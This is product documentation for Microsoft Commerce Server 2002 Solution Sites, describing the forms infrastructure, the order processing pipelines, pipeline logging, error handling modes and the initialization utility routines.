Forms processing and rendering in the Commerce Server Solution Sites is based on a data structure that consists of a Dictionary object containing a collection of SimpleList objects, each of which contains a series of Dictionary objects. Each SimpleList object represents a form, and contains an ordered set of form fields, represented as subordinate Dictionary objects. Each of these Dictionary objects represents the schema of the single form field. This structure can be illustrated as follows:

Form Definitions Dictionary
FormA Fields SimpleList
Field1 Schema Dictionary
Field2 Schema Dictionary
. . .
FieldN Schema Dictionary
FormB Fields SimpleList
Field1 Schema Dictionary
Field2 Schema Dictionary
. . .
FieldN Schema Dictionary
. . .
FormN Fields SimpleList
Field1 Schema Dictionary
Field2 Schema Dictionary
. . .
FieldN Schema Dictionary

The topics in this section provide additional information about the forms infrastructure so that existing forms can be easily modified, and new forms can be easily created.

This section contains:

  • Form Definition Keys Used in Solution Sites
  • Form Field Schema
  • Run Time Use


Form Definition Keys Used in Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The subroutine Main in the file include\global_main_lib.asp executes the following line of code to initialize the form definitions Dictionary object and assign it to the intrinsic Application object using the key "MSCSForms":

Set Application("MSCSForms") = GetFormDefinitions()

The function GetFormDefinitions contains lines of the following form, which establish a series of SimpleList objects to represent the various forms used within the Solution Sites, and associate them with well-known key names in the Form Definition Dictionary:

Set dictForms.Value("FormDefKey") = GetFormTypeFieldDefinitions()

The following table shows the form definition keys used in the Solution Sites and the corresponding initialization function.

Form Definition Keys | Initialization Function
AddressBookAddress | GetAddressBookAddressFieldDefinitions
BillToAddress | GetAddressFieldDefinitions
CreditCard | GetCreditCardFieldDefinitions
Login | GetLoginFieldDefinitions
PurchaseOrder | GetPurchaseOrderFieldDefinitions
Registration | GetRegistrationFieldDefinitions
ShipToAddress | GetShipToAddressFieldDefinitions

Once defined, the form definitions are accessed in various pages in the Solution Sites and used for preparing the HTML from which the form will be rendered, as well as in form validation routines. The Solution Sites code contains lines of the following form to retrieve the SimpleList object that represents the fields of a particular form:

Set listFlds = Application("MSCSForms").Value("FormDefKey")


Form Field Schema

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The fields in each form are represented as a SimpleList object containing a Dictionary object for each field in the form. Each of these Dictionary objects is populated with a well-known set of entries corresponding to attributes of the field; in other words, the schema for the field. The following table describes these attributes.

Field Schema Dictionary Key | Description
Name | An arbitrary string naming the field.
Label | An arbitrary string providing a label for the field in the user interface. The string is retrieved from the MessageManager object for localization purposes.
Size | A number providing the size of the input field.
MinLength | A number providing the minimum required length of the input.
MaxLength | A number providing the maximum required length of the input.
InputType | A constant providing the type of the input field. Legal values are: TEXTBOX, LISTBOX, PASSWORD, and CHECKBOX.
ErrorMessage | A string providing an error message when field validation fails. The string is retrieved from the MessageManager object for localization purposes.
IsRequired | A Boolean specifying whether the field is required or not, and used during field validation.
Pattern | An optional string providing a regular expression that must be matched for field validation to succeed.
PatternErrorMessage | An optional string providing a custom error message when pattern validation fails. If this dictionary entry is not supplied, and the Pattern entry is supplied, and pattern validation fails, the ErrorMessage entry will be used to report the error.
RawInput | If this property is not Null, this form field will be retrieved without stripping the characters quote ("), left bracket (<), or right bracket (>), as normally performed by the routine GetRequestString. If you read fields using this technique, make sure you do not write the field values back to the browser, as it could lead to erroneous interpretation of content as client script.
ListItems | When the InputType entry is set to "LISTBOX", a SimpleList object that provides list box display names.
ListValues | When the InputType entry is set to "LISTBOX", a SimpleList object that provides list box values corresponding to the display names.


Run Time Use

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The SimpleList object that represents the schema of the fields in a particular form is passed as a function parameter in a variety of circumstances, often in conjunction with one or two other Dictionary objects.

The first type of associated Dictionary object is most often associated with the parameter name dictFldVals. This type of Dictionary object contains key/value pairs where the keys are the names of the fields (corresponding to the Name key in the field schema dictionary), and the values are either actual submitted form values or default values for that form.

The second type of associated Dictionary object is most often associated with the parameter name dictFldErrs. This type of Dictionary object contains key/value pairs where the keys are the names of the fields (corresponding to the Name key in the field schema dictionary), and the values are error messages associated with validation failures for the corresponding field.

There are five basic circumstances where the form field SimpleList objects and the associated types of Dictionary objects are used in the Solution Sites code. The first three of these correspond to function calls related to form field validation, the fourth corresponds to initializing default values for forms, and the fifth corresponds to the preparation of the HTML that will render the form.

This section contains:

  • Forms Processing Code Flow for Solution Sites
  • IsFormSubmitted Routine
  • GetSubmittedFieldValues Routine
  • GetFieldsErrorDictionary Routine
  • ValidateSubmittedItem Routines
  • GetDefaultValuesForItemFields Routines
  • htmRenderFillOutForm Routine


Forms Processing Code Flow for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

There are three typical scenarios that result in different code flow:

  • Form is being shown for the first time
  • Form is submitted with data that is not valid
  • Form is submitted with valid data

Form is being shown for the first time

  1. The call to the IsFormSubmitted routine determines that the form is being shown for the first time.
  2. Call the htmRenderFillOutForm routine to prepare the HTML that will render the form. The parameters are as follows:

    urlAction

    Typically set to the page that the form is on (for pages that are self-validating).

    sFormName

    The name of the form.

    dictFieldVals

    A Dictionary object containing initial values for the form. Pass Nothing to create an empty form. For a pre-populated form, pass a dictionary with key/value pairs where the keys are the form field names, and the values are the initial values. The Solution Sites use the GetDefaultValuesForItemFields routines to build these dictionaries.

    dictMessages

    Set to Nothing.

Form is submitted with data that is not valid

  1. The call to the IsFormSubmitted routine determines that the form is being submitted.
  2. Call the GetSubmittedFieldValues routine to create a Dictionary object that contains the form field values submitted with the HTTP request. The one parameter is the field definition dictionary for the form.
  3. Call the GetFieldsErrorDictionary routine to perform field-level validation based on the passed field definition dictionary and the dictionary with field values returned by the call to the GetSubmittedFieldValues routine. If the returned Dictionary object is empty, no field-level validation errors were found.
  4. Perform any custom validation that is required, such as validation that requires database access, or cross-field validation. If the custom validation code associates error messages with particular form fields, it should write error messages into the same Dictionary object returned by the GetFieldsErrorDictionary routine. In the Solution Sites, the ValidateSubmittedItem routines perform this function.
  5. In this scenario, field validation errors were found in either step 4 or step 5 (or both). Call the htmRenderFillOutForm routine to prepare the HTML that will re-render the form so that the user can correct the invalid data. The parameters are as follows:

    urlAction

    Typically set to the page that the form is on (for pages that are self-validating).

    sFormName

    The name of the form.

    dictFieldVals

    A Dictionary object that can contain either the original default data for the form, or the posted data that includes the data that is not valid, or a combination of the two. You could also pass Nothing if it makes the most sense for the user to start from scratch.

    dictMessages

    A Dictionary object that contains error messages associated with the form fields that failed validation. This dictionary contains key/value pairs where the keys are the form field names, and the values are error messages that will be displayed below the form fields to which they correspond. If this parameter is set to Nothing, no such error messages will be displayed.

Form is submitted with valid data

  1. The call to the IsFormSubmitted routine determines that the form is being submitted.
  2. Call the GetSubmittedFieldValues routine to create a Dictionary object that contains the form field values submitted with the HTTP request. The one parameter is the field definition dictionary for the form.
  3. The call to the GetFieldsErrorDictionary routine performs field-level validation based on the passed field definition dictionary and the dictionary with field values returned by the call to the GetSubmittedFieldValues routine. It returns an empty Dictionary object, indicating that no field-level validation errors were found.
  4. Custom validation, normally performed by the ValidateSubmittedItem routines, determines that no other errors are present.
  5. Since no form field errors were found, accept the form submittal by processing the form data and proceeding to the next page (usually by re-directing to a different page).


IsFormSubmitted Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The function IsFormSubmitted determines whether the form has been submitted with values to be validated and processed, or whether the form is being displayed for the first time. To make this determination, this function looks for a request variable named MODE. If present, the form has been submitted with data.


GetSubmittedFieldValues Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The function GetSubmittedFieldValues creates, initializes, and returns a Dictionary object that contains an entry for every posted form value that has a name corresponding to one of the field names in the field definition SimpleList object passed in the listFlds parameter.

The following line of code shows the creation of such a Dictionary object:

Set dictFldVals = GetSubmittedFieldValues(listFlds)


GetFieldsErrorDictionary Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The function GetFieldsErrorDictionary creates, initializes, and returns a Dictionary object that contains an error message entry for every posted form field value that fails validation, as specified by the values passed in the dictFldVals parameter and the schema passed in the listFlds parameter.

The returned Dictionary object will be empty if there are no errors. When errors are found, this dictionary can be passed into the routine htmRenderFillOutForm to show error messages associated with particular fields.

The following line of code shows the creation of such a Dictionary object:

Set dictFldErrs = GetFieldsErrorDictionary(listFlds, dictFldVals)


ValidateSubmittedItem Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following functions are used to perform custom validation for submitted form data for different types of forms used within Commerce Server. The field definition SimpleList object passed in their listFlds parameters provide the schema against which the values passed in the Dictionary object passed in the dictFldVals parameter can be tested.

iValidateSubmittedAddress
iValidateSubmittedAddressForAddressBook
iValidateSubmittedRegistrationData
ValidateSubmittedCreditCardData
ValidateSubmittedLoginData
ValidateSubmittedPurchaseOrderData

The schema also provides the error messages that are copied into the Dictionary object passed in the dictFldErrs parameter of these functions. The function GetFieldsErrorDictionary is called to perform the field-level validation based on the schema, and other, more specialized validation and error message copying are performed in the ValidateSubmittedItem functions.

The following code shows a call to validate a submitted address form:

iErrorLevel = iValidateSubmittedAddress(listFlds, _
                                        dictFldVals, _
                                        dictFldErrs)

In this call, the listFlds and dictFldVals parameters are passing data into the function, and the return value and the dictFldErrs parameter are passing data out of the function.


GetDefaultValuesForItemFields Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following functions create, initialize, and return Dictionary objects that contain an entry for every default form value that has a name corresponding to one of the field names in the field definition SimpleList object passed in their listFlds parameters.

GetDefaultValuesForAddressFormFields
GetDefaultValuesForCreditCardFields
GetDefaultValuesForPurchaseOrderFields

Depending on how the default values are being derived, the field definition SimpleList object can be used to iterate through the fields in the form.

The following code shows the creation of such a Dictionary object:

Set dictFldVals = GetDefaultValuesForAddressFormFields(mscsOrderGrp, _
                                                       listFlds, _
                                                       iAddrType)


htmRenderFillOutForm Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The function htmRenderFillOutForm prepares the HTML that will render the specified form. The form is constructed based on the fields definitions dictionary, a form values dictionary, and a form error messages dictionary. The form errors dictionary allows the form to redisplayed upon validation failure, with error messages displayed next to the fields found to have data that is not valid.

Rather than passing the form definition SimpleList object, the form definition dictionary key is passed and the form definition SimpleList object is retrieved directly from the intrinsic Application object.

Form field values are passed in the Dictionary object specified by the dictFldVals parameter. These might be values actually posted using the form, or they might be default values. In any event, if a value is present for a particular form field, it is provided as a default. You can pass Nothing for this parameter to display a completely blank form.

Form field error messages are passed in the Dictionary object specified by the dictFldErrs parameter. This dictionary is typically built using the routine GetFieldsErrorDictionary and one of the routines with names of the form ValidateSubmittedItem routines. An error message will be present for a particular field when there is an error associated with that field. If an error message is present, it is added to the produced HTML such that it will appear directly below the form field to which it corresponds.

The following code shows how the HTML for rendering a form is constructed and appended to HTML that has already been constructed:

htmContent = htmContent & htmRenderFillOutForm(urlAction, _
                                               "ShipToAddress", _
                                               dictFldVals, _
                                               dictFldErrs)


Pipelines for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The default implementation of the Solution Sites uses three pipeline files to automate the business process. First, the OPP for Baskets gathers basket information and computes the order subtotal. Next, the OPP for Totaling Orders, computes tax, shipping, handling, and the order total. And finally, the Checkout pipeline receives and accepts the payment information. Pipeline logging can be enabled for pipelines to aid in the debugging process.

If the App Default Config settings enable BizTalk Server integration, the recvpo.pcf file is used to handle the processing of purchase orders received through BizTalk Server.

This section contains:

  • OPP for Baskets
  • OPP for Checkout
  • OPP for Receiving Purchase Orders
  • OPP for Totaling Orders
  • Pipeline Log Files


OPP for Baskets

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that gathers basket information and computes the order subtotal.

The basket.pcf file is modeled on the plan.pct file (pipeline configuration template). For more information about the plan.pct file, see "Plan Pipeline" in Commerce Server 2002 Help.

Product Info Stage

This stage checks for product information and removes any unknown products.

The components included in this stage are shown in the following table.

Component | Description
QueryCatalogInfo | Retrieves catalog information for every item in the order form. Uses the Commerce Server 2002 Product Catalog System. Marks missing items for deletion and adds basket errors if necessary.
RequiredProdInfo | Deletes any items marked for deletion and writes the appropriate error messages.

Merchant Information Stage

This stage retrieves and writes merchant information to the OrderForm object.

Shopper Information Stage

This stage retrieves and writes shopper information to the OrderForm object.

Order Initialization Stage

This stage sets the initial order information on the OrderForm object and verifies that the OrderForm object contains an order ID.

The component included in this stage is shown in the following table.

Component | Description
RequiredOrderInitCy | Initializes the OrderForm object to contain user information.

Order Check Stage

This stage verifies that the order can be processed.

The component included in this stage is shown in the following table.

Component | Description
RequiredOrderCheck | Ensures that the OrderForm object contains at least one line item.

Item Price Stage

This stage ensures that the _cy_iadjust_currentprice key for each item contains the most current price information.

The components included in this stage are shown in the following table.

Component | Description
DefaultItemPriceCy | Initializes the _cy_iadjust_regularprice key for each line item to store the most current price.
RequiredItemPriceCy | Ensures that the _cy_iadjust_regularprice key for each line item is set.

Item Adjust Price Stage

This stage ensures that the _cy_iadjust_currentprice key for each item contains the most current price.

The component included in this stage is shown in the following table.

Component | Description
RequiredItemAdjustPriceCy | Validates that the price of the item is set and has not changed since it was added to the basket. If the price has changed, the error message "_Basket_Error" is returned.

Order Adjust Price Stage

This stage decrements the _n_unadjusted key, which is initialized to 'quantity' by the RequiredOrderInit component as line item units participate in discounts. The _cy_oadjust_subtotal key must be set to the price of the adjusted items.

The components included in this stage are shown in the following table.

Component | Description
Order Discount | Applies discounts scheduled in the Campaign Manager module in Commerce Server Business Desk to the shopping basket.
RequiredOrderAdjustPriceCy | Adds any unadjusted items to the subtotal. Calculates the discount savings for each line item.

Order Subtotal Stage

This stage calculates the subtotal for an order.

The components included in this stage are shown in the following table.

Component | Description
DefaultOrderSubTotalCy | Sets the _cy_oadjust_subtotal key to sum of _cy_oadjust_adjustedprice key for each item.
RequiredOrderSubTotalCy | Ensures that the _oadjust_subtotal key is available.

See Also

About the Basket Feature for Solution Sites

basket.pcf


OPP for Checkout

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that receives and accepts payment information.

Purchase Check Stage

This stage is used to verify that the address and credit card information the user provides meets certain criteria.

The component included in this stage is shown in the following table.

Component | Description
Commerce.Splitter | Divides an order into groups based on their vendor.

Payment Stage

This stage approves credit card payments.

The components included in this stage are shown in the following table.

Component | Description
Scriptor--Payment Info | This scriptor pipeline component sets the billing_currency and billing_amount keys as expected by payment components The billing_currency key value should be an ISO 4217 3-digit code. The billing_amount key value should be the _cy_total_total key converted to the billing_currency key. As needs dictate, consider rewriting this scriptor to compiled code.
ValidateCreditCard | Verifies that each credit card field on the order form contains data, that the credit card has not expired, and that the number is properly formed.
DefaultPayment | Assigns an initial value to the payment_auth_code key.
RequiredPayment | Ensures that the _payment_auth_code key is not NULL.

Accept Stage

This stage initiates order tracking, generates purchase orders, and saves the order.

The components included in this stage are shown in the following table.

Component | Description
RecordEvent | Records events such as clicks and requests in the Performance dictionary.
IISAppendToLog | Records information about content selection results in the QueryString key of the Internet Information Services (IIS) log file.

See Also

checkout.pcf

About the Checkout Feature for Solution Sites

Pipelines for Solution Sites


OPP for Receiving Purchase Orders

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that enables the Web site to receive orders through BizTalk Server.

Product Info Stage

The components in this stage enter product information for each line item. If the line item is unknown, the item will be marked 'delete=1'.

The components included in this stage are shown in the following table.

Component | Description
Scriptor: Fixup product_variant_id | This component can be removed from the pipeline, it has no functionality.
QueryCatalogInfo | Ensures that the items submitted via BizTalk Server are in the recipient's catalog. Executes a database query for each line item in the OrderForm object. If data is not found for the line item, the item is marked for deletion.
RequiredProdInfo | Goes through each item on the order form and deletes any line items marked for deletion. If there are any deletions, a "_Basket_Error to MessageManager(pur_badsku)" error message is returned.

Order Initialization Stage

This stage sets the initial order information on the OrderForm object and verifies that the OrderForm object contains an order ID.

Order Check Stage

This stage verifies that the order can be processed.

The component included in this stage is shown in the following table.

Component | Description
RequiredOrderCheck | Ensures that the OrderForm object contains at least one line item.

Item Price Stage

This stage ensures that the _cy_iadjust_currentprice key for each item contains the most current price information.

The components included in this stage are shown in the following table.

Component | Description
DefaultItemPriceCy | Initializes the _cy_iadjust_regularprice key for each line item to store the most current price.
RequiredItemPriceCy | Ensures that the _cy_iadjust_regularprice key for each line item is set.

Item Adjust Price Stage

This stage ensures that the _cy_oadjust_currentprice key for each item contains the most current price adjusted for discounts.

The component included in this stage is shown in the following table.

Component | Description
RequiredItemAdjustPriceCy | Ensures that the current price for each item in the order is set and that the price has not been changed.

Order Adjust Price Stage

This stage decrements the _n_unadjusted key, which is initialized to 'quantity' by the RequiredOrderInit component as line item units participate in discounts. You must set the _cy_oadjust_subtotal key to the price of the items adjusted.

The components included in this stage are shown in the following table.

Component | Description
Scriptor: Use Submitted Prices | Accepts the price submitted in the XML as the price for the product. This component should be replaced with logic that will validate that the submitted prices are correct.
RequiredOrderAdjustPriceCy | Adjusts the total cost of each item in an order after applying any discounts.

Order Subtotal Stage

This stage calculates the subtotal for an order.

The components included in this stage are shown in the following table.

Component | Description
DefaultOrderSubTotalCy | Calculates the subtotal for the order.
RequiredOrderSubTotalCy | Ensures that the subtotal of all items in the item list of an order exist so that the order totals are properly calculated.

Order Total Stage

This stage sums the subtotal, tax, shipping, and handling values.

The components included in this stage are shown in the following table.

Component | Description
Scriptor: My Total | Placeholder component. This component should be replaced on an as needed basis. Currently, it accepts the BizTalk Server XML order, sets the shipping, handling and tax charges to zero, and sets the order total.
RequiredTotalCy | Performs a _VERIFY_WITH check on the OrderForm object.

Accept Stage

This stage can be used to initiate order tracking, generate purchase orders, and save the order.

See Also

About the BizTalk Server Integration Feature

Pipelines for Solution Sites

recvpo.pcf


OPP for Totaling Orders

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that computes the sum of the subtotal, tax, shipping, and handling values.

Shipping Stage

This stage calculates the total shipping charge for the order.

The components included in this stage are shown in the following table.

Component | Description
Commerce.Splitter | Divides an order into groups based on the shipping_method_id and the Shipping_address_id keys.
Commerce.ShippingMethodRouter | Runs components to process the shipments and calculates the shipping total for the entire order.
ShippingDiscountAdjust | Applies shipping discounts to an order.

Handling Stage

This stage calculates the total handling charge for the order.

The components included in this stage are shown in the following table.

Component | Description
DefaultHandlingCy | Sets the _handling_total key to zero.
RequiredHandlingCy | Ensures that the _handling_total key was set.

Tax Stage

This stage calculates the sales tax for each item on the order and the sum of the tax for the entire order.

The components included in this stage are shown in the following table.

Component | Description
SampleRegionalTax | Calculates the tax for the order.
RequiredTaxCy | Ensures that the tax values are set.

Order Total Stage

This stage sums the subtotal, tax, shipping, and handling values.

The components included in this stage are shown in the following table.

Component | Description
DefaultTotalCy | Computes the _cy_total_total key as the _cy_oadjust_subtotal key plus the _cy_shipping_total key plus the _cy_handling_total key plus the _cy_tax_total key.
RequiredTotalCy | For each key/value pair in the _Verify_With dictionary, this component reads the same key from the order form. If any of the values do not match, or keys do not exist, the error "MessageManager("pur_badverify")" is added to the _Purchase_Errors log.

Inventory Stage

This stage verifies that every item ordered is in stock.

CopyFields Stage

This stage copies fields of interest to the application, onto the order form.

Component | Description
CopyFields | Copies the _product_description key into the description field, which is saved to a database, enabling future product description searches on the order. It also copies the user_first_name key from the profile for the user onto the order form. This also enables future first name searches and allows the first name of the user to be displayed without looking up the profile for the user.

See Also

About the Checkout Feature for Solution Sites

Pipelines for Solution Sites

total.pcf


Pipeline Log Files

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

When pipeline logging is enabled, pipeline log files are stored in the pipeline/logfiles subdirectory. A log file is created for every user and pipeline pair, so every user has a log file for every pipeline they run. If a user runs a pipeline more than once, their previous log file is written over by the new log file.

You can use the information contained in the pipeline log files to see what dictionary values are read and written by the components that are run in the pipeline, and what the error level for each component is, which is useful in debugging.

Use the following procedure to enable pipeline logging on your site.

Note

  • It is recommended that you only use pipeline logging in development mode. You can enable pipeline logging while in production mode; however, logging the pipelines in production mode will decrease the performance for your site.
  • The Direct Mailer pipeline does not support generating a pipeline log file.

To enable pipeline logging

  1. Open the global_siteconfig_lib.asp page.
  2. In the InitSitePipelines function, find these lines of code and replace False with True (if in production mode, the first line is MSCSEnv = PRODUCTION):
    If MSCSEnv = DEVELOPMENT Then
   dictPipeline.LoggingEnabled = False
   dictPipeline.LogsCycled     = False
  3. Open Windows Explorer and browse to the log files subdirectory.
  4. On the File menu, click Properties.
  5. On the Security tab click Add.
  6. In the Select Users, Computers, or Groups dialog box, type the name of the anonymous user account in the lower box. For example, if your server name is computer1, type computer1\iusr_computer1 and then click OK.
  7. On the Log Files Properties dialog box, set the permission level to Full Control for the anonymous account by checking the Allow box in the Full Control row of the Permissions box, and then click OK.
  8. To test the logging feature, make sure your site is the environment in which pipeline logging was enabled in Step 1. To change the environment, open the global.asa file and set MSCSEnv to the correct environment.

A pipeline log file is now created for each user that runs a pipeline, for each pipeline in your site. If a user runs a pipeline more than once, the previous log file will be written over.

See Also

Logfiles Folder


Error Handling for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites implement various error-handling methods. Some of these methods are used to handle errors within the code, whereas others are used to determine the appropriate site content to show users when errors in the code occur. The main techniques used to handle errors within the code are the On Error Resume Next error handler, and the normal bubble-up error handling built into Visual Basic Scripting Edition. The main techniques used to notify Web site users of errors are pipeline warnings and Active Server Pages (ASP) error pages. Pipeline warnings notify users of incorrect user input and other non-critical problems pertaining to their order. ASP error pages are used to inform users of critical errors in the Web site. The content of the ASP error pages can be altered to show different levels of detail by changing between the DEVELOPMENT and PRODUCTION environments.

This section contains:

  • On Error Resume Next
  • Normal Bubble-Up
  • Pipeline Warnings
  • ASP Error Pages for Solution Sites
  • Development and Production Modes for Solution Sites

See Also

Error Levels

Error handling in Pipelines


On Error Resume Next

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The On Error Resume Next error handler is a Visual Basic Scripting Edition statement that allows a page to continue processing even after it has encountered an error. The ability to continue processing script after encountering an error is useful if errors are expected, or if you wish to implement custom error handling. The dangerous part of enabling the On Error Resume Next statement is that it turns off all error handling for subsequent statements in the function until the On Error Goto 0 statement is called.

The On Error Resume Next statement is used in the Solution Sites to ignore specific non-critical errors. These errors are usually generated by objects that may return an error, but the error is expected and can be handled. Careful attention must be paid to re-raise any non-expected error that occurred during the On Error Resume Next code block. You can raise an error using the Err.Raise property, but this statement must be outside the On Error Resume Next code block.

The Solution Sites use the On Error Resume Next statement as little as possible, mitigating the risk of accidentally leaving it on. Centralized error processing is left to the 500error.asp page.

When the Solution Sites use the On Error Resume Next statement, the affected section of code is typically indented for clarity.

See Also

Normal Bubble-Up

Pipeline Warnings

ASP Error Pages for Solution Sites

Development and Production Modes for Solution Sites


Normal Bubble-Up

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Error handlers such as On Error Resume Next do not need to be implemented in every procedure written in Visual Basic. When errors are encountered in Visual Basic Scripting Editing, they bubble-up through the call stack until an error handler is found.

In a scenario where there are nested procedures, the error will move up the procedure hierarchy and look for the first error handler. For example, if function A enables the On Error Resume Next error handler and calls function B, which does not contain the On Error Resume Next error handler, and an error is generated in the function B, the error will bubble up and the next line of code in the function A will be called.

See Also

On Error Resume Next

Pipeline Warnings

ASP Error Pages for Solution Sites

Development and Production Modes for Solution Sites


Pipeline Warnings

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Pipeline warnings are generated when a pipeline component has determined that a user-related error has occurred. For example, if a user enters an invalid zip code, the pipeline runs and returns a value of 2, indicating that a warning should be displayed to the user. The site then enumerates the _Basket_Errors and _Purchase_Errors collections from the order form and displays them to the user. Then the page is rendered again with a message stating, "Please enter of correct ZIP/postal code."

Pipelines can return values of 1, 2, or 3. The following table describes the error levels.

Return Value | Description
1 | The pipeline executed successfully.
2 | Warning message shown to user.
3 | Critical failure, failed HRESULT.

The _Basket_Errors and _Purchase_Errors collections contain lists of all the warnings accumulated in the pipeline. So, if numerous errors have accumulated in these collections the user is prompted to correct them all at the same time.

For more information about error handling in pipelines, see "Error Handling" or "Error Levels" in Commerce Server 2002 Help.

See Also

On Error Resume Next

Normal Bubble-Up

ASP Error Pages for Solution Sites

Development and Production Modes for Solution Sites


ASP Error Pages for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The 500error.asp page is the most common error page that users will view when a critical error is encountered on your site. To aid in the usability of your site, it is recommended that you customize this page. The current message displayed on the 500error.asp page is, "We apologize for the inconvenience. Please try again later. If the problem persists, please contact our webmaster." You may want to add an e-mail link to your webmaster so that your users can contact you when they encounter difficulties. For more information about the 500error.asp page, see 500error.asp.

To specify which error page will be displayed when errors are encountered, see the Custom Errors tab in the IIS Properties dialog box for your site.

To view the Custom Errors tab

  1. Click Start, point to Programs, point to Administrative Tools, and then click Internet Services Manager.
  2. In the Internet Information Services screen, expand the nodes to the following path: Internet Information Services/<Server Name>/Default Web Site/<Site Name>.
  3. Right-click <Site Name> and select Properties.
  4. Click the Custom Errors tab.

The Custom Errors tab lists all the HTTP errors and the file that is displayed when the error is encountered. The file names can be changed by clicking the Edit Properties button.

For more information about all of the Active Server Pages (ASP) error pages included in the Solution Sites, see Error Folder.

See Also

On Error Resume Next

Normal Bubble-Up

Pipeline Warnings

Development and Production Modes for Solution Sites


Development and Production Modes for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites can operate in two modes, DEVELOPMENT and PRODUCTION. PRODUCTION mode shows user-friendly error messages that are set in the Active Server Pages (ASP) error page associated with the error encountered, and does not reveal site internals. DEVELOPMENT mode enables you to see more detailed error messages. The detailed message includes the file name and line of code in which the error was raised. DEVELOPMENT mode also shows you the user-friendly message associated with the error so that you know what your users will see if they encounter the same error in PRODUCTION mode.

There are other differences between PRODUCTION and DEVELOPMENT mode that may be used while debugging your Web site. For example, when in DEVELOPMENT mode, test credit card numbers are automatically filled into the crdtcard.asp page.

To change the environment you are working in, you must change the environment variable in the global.asa file. Set the MSCSEnv key to the environment variable you would like to use, either MSCSEnv = DEVELOPMENT or MSCSEnv = PRODUCTION.

See Also

On Error Resume Next

Normal Bubble-Up

Pipeline Warnings

ASP Error Pages for Solution Sites


Utility Routines for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The folders "include" and "services\include" contain utility routine files. These files are intended for inclusion in Web page files so that the utility routines they contain can be called from the script code in the Web pages.

These utility routines fall into three broad categories. The first type are those used during Internet Information Services (IIS) application initialization. In other words, those routines that are called when the file global.asa runs. These are initialization utility routines. In general, you will never add additional calls to these routines, because the initialization process is already in place. But you might find a need to modify one or more of these routines to accommodate changes to the initialization process. You might also add new routines of this type to accommodate new types of initialization requirements.

The second type of utility routine are those called from any of the Web site pages, including customer or partner services pages. These are general utility routines. The following two categories of general utility routines have extra conceptual information because of their relative importance:

HTML Construction for Solution Sites

Forms Processing for Solution Sites

The third type of utility routine are those designed specifically for the customer and partner services pages. These are services utility routines.

This section contains:

  • Utility Routines for Initializing Applications
  • General Utility Routines
  • Services Utility Routines


Utility Routines for Initializing Applications

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The utility routines used for application initialization can be divided into the following categories, which also correspond to the files in which they are defined.

This section contains:

  • Address Book Initialization Routines
  • Cache Initialization Routines
  • Configuration Initialization Routines
  • Credit Card Initialization Routines
  • CSF Initialization Routines
  • Data Initialization Routines
  • Entry-Point Initialization Routine
  • Forms Initialization Routines
  • Internationalization Initialization Routines
  • MessageManager Initialization Routine
  • Prediction Initialization Routine
  • Product Catalog Initialization Routines
  • Profiles Initialization Routines
  • Site Terms Initialization Routines
  • Styles Initialization Routines


Address Book Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_addressbook_lib.asp

The following address book initialization routines are defined in this file:

GetAddressBookAddressFieldDefinitions
This function initializes the form field definitions for address book entries.
GetAddressFieldDefinitions
This function initializes the form field definitions for address fields used in address book entries and on shipping and billing address forms.
GetShipToAddressFieldDefinitions
This function creates and returns a SimpleList object containing field definitions for the ship-to-address field. Most of the SimpleList is populated by a call to the GetAddressFieldDefinitions function. A Dictionary object containing items such as Name, Label, InputType, and so on, is also included in the SimpleList.


Cache Initialization Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_cache_lib.asp

The following cache initialization routine is defined in this file:

InitCacheManager
This function creates, initializes, and returns a CacheManager object. For more information about the individual caches created, see Remarks.


Configuration Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_siteconfig_lib.asp

The following configuration initialization routines are defined in this file:

GetAppConfigObject
This function returns an initialized AppConfig object. It sets the global variable dictConfig to the Dictionary object returned by the GetOptionsDictionary method of the AppConfig object, and adds the s_SecureHostName and s_NonSecureHostName values from the SiteConfig object to the dictConfig dictionary.
GetBaseURL
This function returns the base URL for this application.
GetCommerceSiteInstallPoint
This function returns one of the constants HOME_DIRECTORY or VIRTUAL_DIRECTORY, depending on whether the application was installed at the root of the website or in a virtual directory, respectively.
GetCommerceSiteName
This function returns the Commerce Server site name stored in the global page variable MSCSCommerceSiteName.
GetComputerName
This function returns the name of the computer.
GetConfigDictionary
This function returns the Dictionary object returned by a call to the GetOptionsDictionary method of the AppConfig object.
GetINIFileName
This function returns the file name for the .ini file containing the site configuration information.
GetINIString
This function returns the value of the specified key or "" (an empty string) if the key or its value cannot be found.
GetMachineBaseURL
This function returns the base URL for this application, and specifically for this server.
GetPaymentMethodsForSite
This function returns the payment methods for the site. This function must run after the MessageManager object is assigned.
GetRootPath
This function returns the file path to the root of the application.
GetSecurePagesDictionary
This function returns the Dictionary object containing the names of the secure site pages.
